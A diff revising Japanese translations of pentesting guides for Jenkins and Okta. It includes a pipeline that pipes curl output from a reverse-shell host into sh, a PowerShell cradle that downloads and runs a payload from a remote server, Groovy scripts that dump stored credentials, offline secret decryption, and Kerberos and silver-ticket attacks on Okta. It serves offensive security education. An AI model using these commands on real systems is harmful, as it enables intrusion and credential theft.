+ここでは、一般的なシークレットタイプをロードする方法を示します: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -216,7 +216,7 @@ env ''' } ``` -このページの最後で、**すべての認証情報の種類**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +このページの最後に**すべての資格情報タイプ**を**見つけることができます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] > **すべての秘密を一度にダンプする**最良の方法は、**Jenkins**マシンを**侵害する**ことです(例えば、**組み込みノード**でリバースシェルを実行する)そして、**マスターキー**と**暗号化された秘密**を**漏洩**させ、それらをオフラインで復号化します。\ @@ -224,19 +224,19 @@ env ### トリガー -[ドキュメント](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers)から: `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは、`cron`、`pollSCM`、および`upstream`です。 +[ドキュメントから](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、**パイプラインが再トリガーされる自動化された方法**を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、`triggers`は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーは`cron`、`pollSCM`、および`upstream`です。 Cronの例: ```bash triggers { cron('H */4 * * 1-5') } ``` -他の例は**ドキュメント**で確認してください。 +他の例は**ドキュメントで確認してください**。 ### ノードとエージェント -**Jenkinsインスタンス**は**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。 +**Jenkinsインスタンス**は、**異なるマシンで異なるエージェントが実行されている**可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは、**異なる潜在的なクラウド資格情報**を盗むことや、**他のマシンを悪用するための異なるネットワークアクセス**を意味します。 -詳細については基本情報を確認してください: +詳細については、基本情報を確認してください: {{#ref}} basic-jenkins-information.md @@ -255,7 +255,7 @@ agent {label 'built-in'} ``` ### 完全な例 -特定のエージェントでのパイプライン、cronトリガー付き、パイプラインおよびステージ環境変数、ステップで2つの変数を読み込み、リバースシェルを送信する: +特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します: ```bash pipeline { agent {label 'built-in'} @@ -286,7 +286,7 @@ cleanWs() } } ``` -## 任意ファイル読み取りからRCE +## 任意ファイル読み取りからRCEへ {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## ポストエクスプロイテーション +## ポストエクスプロイト ### Metasploit ``` @@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets -`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも **さらに多くの資格情報**が含まれている可能性があります。 +`/credentials/` にアクセスすることで、十分な権限があればシークレットをリストできます。これは `credentials.xml` ファイル内のシークレットのみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。 -**各プロジェクトの構成を表示できる**場合、リポジトリにアクセスするために使用されている **資格情報(シークレット)の名前**や **プロジェクトの他の資格情報**もそこに表示されます。 +各プロジェクトの**構成を表示できる**場合、リポジトリにアクセスするために使用されている**資格情報(シークレット)の名前**や**プロジェクトの他の資格情報**も確認できます。 ![](<../../images/image (180).png>) @@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -これらのファイルは **Jenkinsシークレットを復号化するために必要です**: +これらのファイルは**Jenkinsシークレットを復号化するために必要**です: - secrets/master.key - secrets/hudson.util.Secret -そのような **シークレットは通常次の場所にあります**: +そのような**シークレットは通常**以下に見つかります: - credentials.xml - jobs/.../build.xml @@ -351,7 +351,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm ``` #### Jenkinsの秘密をオフラインで復号化する -**秘密を復号化するために必要なパスワードをダンプした場合**、[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してそれらの秘密を復号化します**。 +**秘密を復号化するために必要なパスワードをダンプした場合**、**これらの秘密を復号化するために** [**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使用してください**。 ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -363,13 +363,13 @@ NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ```bash println(hudson.util.Secret.decrypt("{...}")) ``` -### 新しい管理者ユーザーを作成する +### 新しい管理者ユーザーの作成 1. `/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\` にある Jenkins config.xml ファイルにアクセスします。 2. `true`という単語を検索し、**`true`**を**`false`**に変更します。 1. `sed -i -e 's/truefalsetrue` に変更して、**再度セキュリティを有効にし**、**Jenkins を再起動**します。 ## 参考文献 diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index c27a06f54..cbb210d4d 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,44 +1,44 @@ -# Basic Jenkins Information +# 基本的なJenkins情報 {{#include ../../banners/hacktricks-training.md}} -## Access +## アクセス -### Username + Password +### ユーザー名 + パスワード Jenkinsにログインする最も一般的な方法は、ユーザー名またはパスワードです。 -### Cookie +### クッキー -**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。(ユーザーはすべてのセッションを終了できますが、最初にクッキーが盗まれたことを知る必要があります)。 +**認可されたクッキーが盗まれた場合**、それを使用してユーザーのセッションにアクセスできます。クッキーは通常`JSESSIONID.*`と呼ばれます。(ユーザーはすべてのセッションを終了できますが、まずクッキーが盗まれたことを確認する必要があります)。 -### SSO/Plugins +### SSO/プラグイン Jenkinsはプラグインを使用して**サードパーティのSSO経由でアクセス可能**に構成できます。 -### Tokens +### トークン **ユーザーはトークンを生成して**、CLIまたはREST APIを介してアプリケーションに自分を偽装させることができます。 -### SSH Keys +### SSHキー -このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。([docs](https://plugins.jenkins.io/sshd/)から) +このコンポーネントはJenkins用の組み込みSSHサーバーを提供します。これは[Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/)の代替インターフェースであり、任意のSSHクライアントを使用してこの方法でコマンドを呼び出すことができます。([ドキュメント](https://plugins.jenkins.io/sshd/)から) -## Authorization +## 認可 `/configureSecurity`では、Jenkinsの**認可方法を構成**できます。いくつかのオプションがあります: - **誰でも何でもできる**:匿名アクセスでもサーバーを管理できます。 - **レガシーモード**:Jenkins <1.164と同じです。**「admin」役割**を持っている場合、システムに対して**完全な制御**が与えられ、**それ以外**(**匿名**ユーザーを含む)は**読み取り**アクセスのみが与えられます。 - **ログインしたユーザーは何でもできる**:このモードでは、すべての**ログインしたユーザーがJenkinsの完全な制御を得ます**。完全な制御を持たない唯一のユーザーは**匿名ユーザー**で、**読み取りアクセス**のみが与えられます。 -- **マトリックスベースのセキュリティ**:**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**未認証ユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証済みユーザー**を表す「**authenticated**」が含まれます。 +- **マトリックスベースのセキュリティ**:**誰が何をできるか**を表で構成できます。各**列**は**権限**を表し、各**行**は**ユーザーまたはグループ/役割**を表します。これには、**認証されていないユーザー**を表す特別なユーザー「**anonymous**」や、**すべての認証されたユーザー**を表す「**authenticated**」が含まれます。 ![](<../../images/image (149).png>) - **プロジェクトベースのマトリックス認可戦略**:このモードは、**各プロジェクトごとに追加のACLマトリックスを定義できる**「**マトリックスベースのセキュリティ**」の拡張です。 -- **役割ベースの戦略**:**役割ベースの戦略**を使用して認可を定義できます。`/role-strategy`で役割を管理します。 +- **役割ベースの戦略**:**役割ベースの戦略**を使用して認可を定義できます。役割は`/role-strategy`で管理します。 -## **Security Realm** +## **セキュリティレルム** `/configureSecurity`では、**セキュリティレルムを構成**できます。デフォルトでは、Jenkinsはいくつかの異なるセキュリティレルムをサポートしています: @@ -53,35 +53,35 @@ Jenkinsはプラグインを使用して**サードパーティのSSO経由で - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Jenkinsノード、エージェント&エグゼキュータ -[docs](https://www.jenkins.io/doc/book/managing/nodes/)からの定義: +[ドキュメント](https://www.jenkins.io/doc/book/managing/nodes/)からの定義: -**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが構成された閾値を超えると、ノードはオフラインになります。 +**ノード**は、ビルド**エージェントが実行される**マシンです。Jenkinsは、ディスクスペース、空き一時スペース、空きスワップ、時計の時間/同期、応答時間のために各接続ノードを監視します。これらの値のいずれかが設定された閾値を超えると、ノードはオフラインになります。 **エージェント**は、**エグゼキュータを使用して**Jenkinsコントローラーの代理として**タスク実行を管理**します。エージェントはJavaをサポートする任意のオペレーティングシステムを使用できます。ビルドやテストに必要なツールは、エージェントが実行されるノードにインストールされます。これらは**直接インストールするか、コンテナ**(DockerまたはKubernetes)内にインストールできます。各**エージェントは、ホストマシン上で独自のPIDを持つプロセスです**。 -**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`**の数を決定します。 +**エグゼキュータ**は**タスクの実行スロット**です。実際には、**エージェント内のスレッド**です。ノード上の**エグゼキュータの数**は、そのノードで同時に実行できる**同時タスクの数**を定義します。言い換えれば、これはそのノードで同時に実行できる**同時Pipeline `stages`の数**を決定します。 -## Jenkins Secrets +## Jenkinsシークレット -### Encryption of Secrets and Credentials +### シークレットと資格情報の暗号化 -[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義:Jenkinsは**AESを使用して秘密情報**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります(つまり、`chmod`値は`0700`または適切なファイル属性を使用)。**マスターキー**(暗号用語で「キー暗号化キー」と呼ばれることもあります)は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない\_**状態で保存されており、**`$JENKINS_HOME/secrets/master.key`**にあります。これは、そのファイルに直接アクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的な秘密データを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン(CBC)モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらは`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます: +[ドキュメント](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)からの定義:Jenkinsは**AESを使用してシークレット**、資格情報、およびそれらの暗号化キーを保護します。これらの暗号化キーは、マスターキーと共に`$JENKINS_HOME/secrets/`に保存されます。このディレクトリは、Jenkinsコントローラーが実行されているオペレーティングシステムユーザーのみが読み取りおよび書き込みアクセスを持つように構成する必要があります(つまり、`chmod`値は`0700`または適切なファイル属性を使用)。**マスターキー**(暗号用語で「キー暗号化キー」と呼ばれることもあります)は、**Jenkinsコントローラーのファイルシステムに\_暗号化されていない状態で\_保存されます**。**`$JENKINS_HOME/secrets/master.key`**に保存されており、直接そのファイルにアクセスできる攻撃者に対して保護されていません。ほとんどのユーザーと開発者は、一般的なシークレットデータを暗号化するための[Secret](https://javadoc.jenkins.io/byShortName/Secret) APIや資格情報APIを介して、これらの暗号化キーを間接的に使用します。暗号に興味がある方のために、JenkinsはAESを暗号ブロックチェーン(CBC)モードで使用し、PKCS#5パディングとランダムIVを使用して、`$JENKINS_HOME/secrets/`に保存される[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)のインスタンスを暗号化します。これらはその`CryptoConfidentialKey` IDに対応するファイル名で保存されます。一般的なキーIDには以下が含まれます: -- `hudson.util.Secret`:一般的な秘密に使用されます; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:一部の資格情報タイプに使用されます; -- `jenkins.model.Jenkins.crumbSalt`: [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます; +- `hudson.util.Secret`:一般的なシークレットに使用されます。 +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:一部の資格情報タイプに使用されます。 +- `jenkins.model.Jenkins.crumbSalt`: [CSRF保護メカニズム](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)によって使用されます。 -### Credentials Access +### 資格情報アクセス -資格情報は、**グローバルプロバイダーにスコープを設定**(`/credentials/`)することができ、構成された任意のプロジェクトからアクセスできます。また、**特定のプロジェクト**(`/job//configure`)にスコープを設定することもでき、その場合は特定のプロジェクトからのみアクセス可能です。 +資格情報は、任意の構成されたプロジェクトからアクセスできる**グローバルプロバイダー**(`/credentials/`)に**スコープ**を設定できます。または、**特定のプロジェクト**(`/job//configure`)にスコープを設定し、そのため特定のプロジェクトからのみアクセス可能にできます。 -[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると:スコープ内の資格情報は、制限なしにパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されているため、`env`(Linux)や`set`(Windows)を呼び出したり、環境やパラメータを印刷するプログラムは、資格情報にアクセスできないユーザーに対してビルドログにそれらを**表示しません**。 +[**ドキュメント**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)によると:スコープ内の資格情報は、制限なくパイプラインに利用可能です。**ビルドログでの偶発的な露出を防ぐために**、資格情報は通常の出力から**マスク**されるため、`env`(Linux)や`set`(Windows)を呼び出したり、環境やパラメータを印刷するプログラムは、ビルドログで資格情報を**明らかにしません**。 -**そのため、資格情報を外部に持ち出すには、攻撃者は例えば、それらをbase64エンコードする必要があります。** +**そのため、資格情報を外部に持ち出すには、攻撃者は例えばそれをbase64エンコードする必要があります。** -## References +## 参考文献 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9bf184164..86f0c9796 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -このブログ記事では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。 @@ -18,7 +18,7 @@ **User Information Retrieval** -- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得して収集します: +- 各ユーザーのために`$JENKINS_HOME/users/*.xml`からユーザー設定と秘密を取得します: - **Username** - **User seed** - **Timestamp** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 0fdc19b37..c72a8558d 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -5,7 +5,7 @@ > [!WARNING] > これらのスクリプトは `credentials.xml` ファイル内の秘密のみをリストしますが、**ビルド構成ファイル**にも**追加の資格情報**が含まれている可能性があります。 -`/script` の Groovy Script コンソールからすべての秘密を**ダンプ**するには、このコードを実行します。 +`/script` でこのコードを実行することで、**Groovy Script コンソールからすべての秘密をダンプ**できます。 ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -41,7 +41,7 @@ showRow("something else", it.id, '', '', '') return ``` -#### またはこれ: +#### またはこれ: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 2cbbf64a3..d07f45fa8 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,14 +1,14 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE パイプラインの作成/修正 {{#include ../../banners/hacktricks-training.md}} ## 新しいパイプラインの作成 -「新しいアイテム」(`/view/all/newJob`でアクセス可能)で**パイプライン**を選択します: +「New Item」(`/view/all/newJob`でアクセス可能)で**Pipeline**を選択します: ![](<../../images/image (235).png>) -**パイプラインセクション**に**リバースシェル**を書きます: +**Pipelineセクション**に**リバースシェル**を書きます: ![](<../../images/image (285).png>) ```groovy @@ -26,7 +26,7 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -最後に**Save**をクリックし、**Build Now**をクリックすると、パイプラインが実行されます: +最後に**保存**をクリックし、**今すぐビルド**をクリックすると、パイプラインが実行されます: ![](<../../images/image (228).png>) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index e32ce1565..1f6ffe845 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,10 +1,10 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE プロジェクトの作成/変更 {{#include ../../banners/hacktricks-training.md}} ## プロジェクトの作成 -この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです(明らかに、ユーザーが新しいプロジェクトを作成することが許可されている場合にのみ機能します)。 +この方法は非常に騒がしいです。なぜなら、まったく新しいプロジェクトを作成する必要があるからです(明らかに、ユーザーが新しいプロジェクトを作成することを許可されている場合にのみ機能します)。 1. **新しいプロジェクトを作成**(フリースタイルプロジェクト)するには、「新しいアイテム」をクリックするか、`/view/all/newJob`に移動します。 2. **ビルド**セクション内で**シェルを実行**を設定し、PowerShell EmpireランチャーまたはMeterpreter PowerShellを貼り付けます(_unicorn_を使用して取得できます)。ペイロードを_PowerShell.exe_で開始し、_powershell_を使用しないでください。 @@ -16,11 +16,11 @@ ## プロジェクトの変更 -プロジェクトに移動し、**構成できるかどうかを確認**します(「構成ボタン」を探してください): +プロジェクトに移動し、**構成できるかどうか**を確認します(「構成ボタン」を探してください): ![](<../../images/image (265).png>) -**構成** **ボタン**が見えない場合、あなたはおそらくそれを**構成できません**(ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません)。 +**構成** **ボタン**が見えない場合、恐らく**構成**できません(ただし、すべてのプロジェクトを確認してください。いくつかのプロジェクトは構成できるかもしれません)。 または、各プロジェクトで**パスにアクセスを試みて**ください`/job//configure`または`/me/my-views/view/all/job//configure`(例:`/job/Project0/configure`または`/me/my-views/view/all/job/Project0/configure`)。 diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 488389eab..65c197097 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -7,7 +7,7 @@ これはJenkinsで新しいプロジェクトを作成するよりも騒がしくありません。 1. _path_jenkins/script_に移動します。 -2. テキストボックス内にスクリプトを入力します。 +2. テキストボックスにスクリプトを入力します。 ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" @@ -16,9 +16,9 @@ println "Found text ${process.text}" **linux** では、次のようにできます: **`"ls /".execute().text`** -テキスト内で _引用符_ と _シングルクォート_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。 +テキスト内で _quotes_ と _single quotes_ を使用する必要がある場合は、_"""PAYLOAD"""_ (トリプルダブルクォート) を使用してペイロードを実行できます。 -**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えてください): +**別の便利なgroovyスクリプト** は ( \[INSERT COMMAND] を置き換えます): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -36,7 +36,7 @@ println "out> $sout err> $serr" ``` ### Windowsでのリバースシェル -PSリバースシェルを用意したHTTPサーバーを作成し、Jenkinsを使用してそれをダウンロードして実行できます: +PSリバースシェルを使用してHTTPサーバーを準備し、Jekingを使用してそれをダウンロードして実行できます: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 @@ -44,7 +44,7 @@ cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` ### スクリプト -このプロセスを[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)で自動化できます。 +このプロセスは[**このスクリプト**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)を使って自動化できます。 MSFを使用してリバースシェルを取得できます: ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 04d9b97cb..4fe52387b 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -8,7 +8,7 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォームは、以下を含む製品群を網羅していますが、これに限定されません: -- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用することで、ユーザーアクセスを簡素化します。 +- **シングルサインオン (SSO)**: 複数のアプリケーションで1セットのログイン資格情報を使用してユーザーアクセスを簡素化します。 - **多要素認証 (MFA)**: 複数の確認手段を要求することでセキュリティを強化します。 - **ライフサイクル管理**: ユーザーアカウントの作成、更新、無効化プロセスを自動化します。 - **ユニバーサルディレクトリ**: ユーザー、グループ、デバイスの集中管理を可能にします。 @@ -20,15 +20,15 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ > Oktaの主な目的は、外部アプリケーションへの異なるユーザーおよびグループへのアクセスを構成することです。もしあなたが**Okta環境で管理者権限を侵害することができれば、会社が使用している他のすべてのプラットフォームを**侵害することが非常に可能性が高いです。 > [!TIP] -> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求する必要があります。 +> Okta環境のセキュリティレビューを実施するには、**管理者の読み取り専用アクセス**を要求するべきです。 ### 概要 **ユーザー**(これは**Oktaに保存される**、構成された**アイデンティティプロバイダー**からログインする、または**Active Directory**やLDAPを介して認証されることができます)。\ これらのユーザーは**グループ**内に存在することがあります。\ -また、**認証者**も存在します:パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAの認証オプション(これらは有効または無効にすることができます)... +また、**認証者**も存在します:パスワードやWebAuthn、メール、電話、Okta Verifyなどのさまざまな2FAのオプション(有効または無効にできる)... -次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報を共有するために**Oktaとのマッピング**を持っています(メールアドレス、名前など)。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。 +次に、Oktaと同期された**アプリケーション**があります。各アプリケーションは、情報(メールアドレス、名前など)を共有するために**Oktaとのマッピング**を持っています。さらに、各アプリケーションは**認証ポリシー**内に存在し、ユーザーがアプリケーションに**アクセス**するために必要な**認証者**を示します。 > [!CAUTION] > 最も強力な役割は**スーパ管理者**です。 @@ -43,29 +43,29 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ ### Kerberosを介したOktaへのログイン -もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用されており、通常は**MFA**をバイパスします**。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。 +もし**`companyname.kerberos.okta.com`**がアクティブであれば、**KerberosがOktaアクセスに使用され**、通常は**Windows**ユーザーのために**MFA**をバイパスします。AD内でKerberos認証されたOktaユーザーを見つけるには、**`getST.py`**を**適切なパラメータ**で実行します。**ADユーザーのチケット**を取得したら、RubeusやMimikatzなどのツールを使用して制御されたホストに**注入**し、**`clientname.kerberos.okta.com`がインターネットオプションの「イントラネット」ゾーンにあることを確認します**。特定のURLにアクセスすると、JSONの「OK」レスポンスが返され、Kerberosチケットの受け入れが示され、Oktaダッシュボードへのアクセスが許可されます。 -**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し、ブラウザを介してOktaに認証するために配信します。** +**Oktaサービスアカウントを委任SPNで侵害することで、シルバーチケット攻撃が可能になります。**ただし、Oktaのチケット暗号化に**AES**を使用しているため、AESキーまたは平文パスワードを持っている必要があります。**`ticketer.py`を使用して被害者ユーザーのチケットを生成し**、ブラウザを介してOktaに認証するために配信します。 -**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。** ### Okta ADエージェントのハイジャック -この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は認証データを**傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、認証試行に**応答する**ことができ、不正アクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます(「スケルトンキー」のように)。 +この技術は、**ユーザーを同期し、認証を処理するサーバー上のOkta ADエージェントにアクセスする**ことを含みます。**`OktaAgentService.exe.config`**内の設定を調査し、特に**DPAPI**を使用してAgentTokenを復号化することで、攻撃者は**認証データを傍受および操作する**可能性があります。これにより、Okta認証プロセス中にユーザー資格情報を平文で**監視**および**キャプチャ**するだけでなく、**認証試行に応答する**ことができ、無許可のアクセスを可能にしたり、Oktaを介してユニバーサル認証を提供したりすることができます(「スケルトンキー」のように)。 -**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。** -### 管理者としてADをハイジャック +### 管理者としてのADのハイジャック 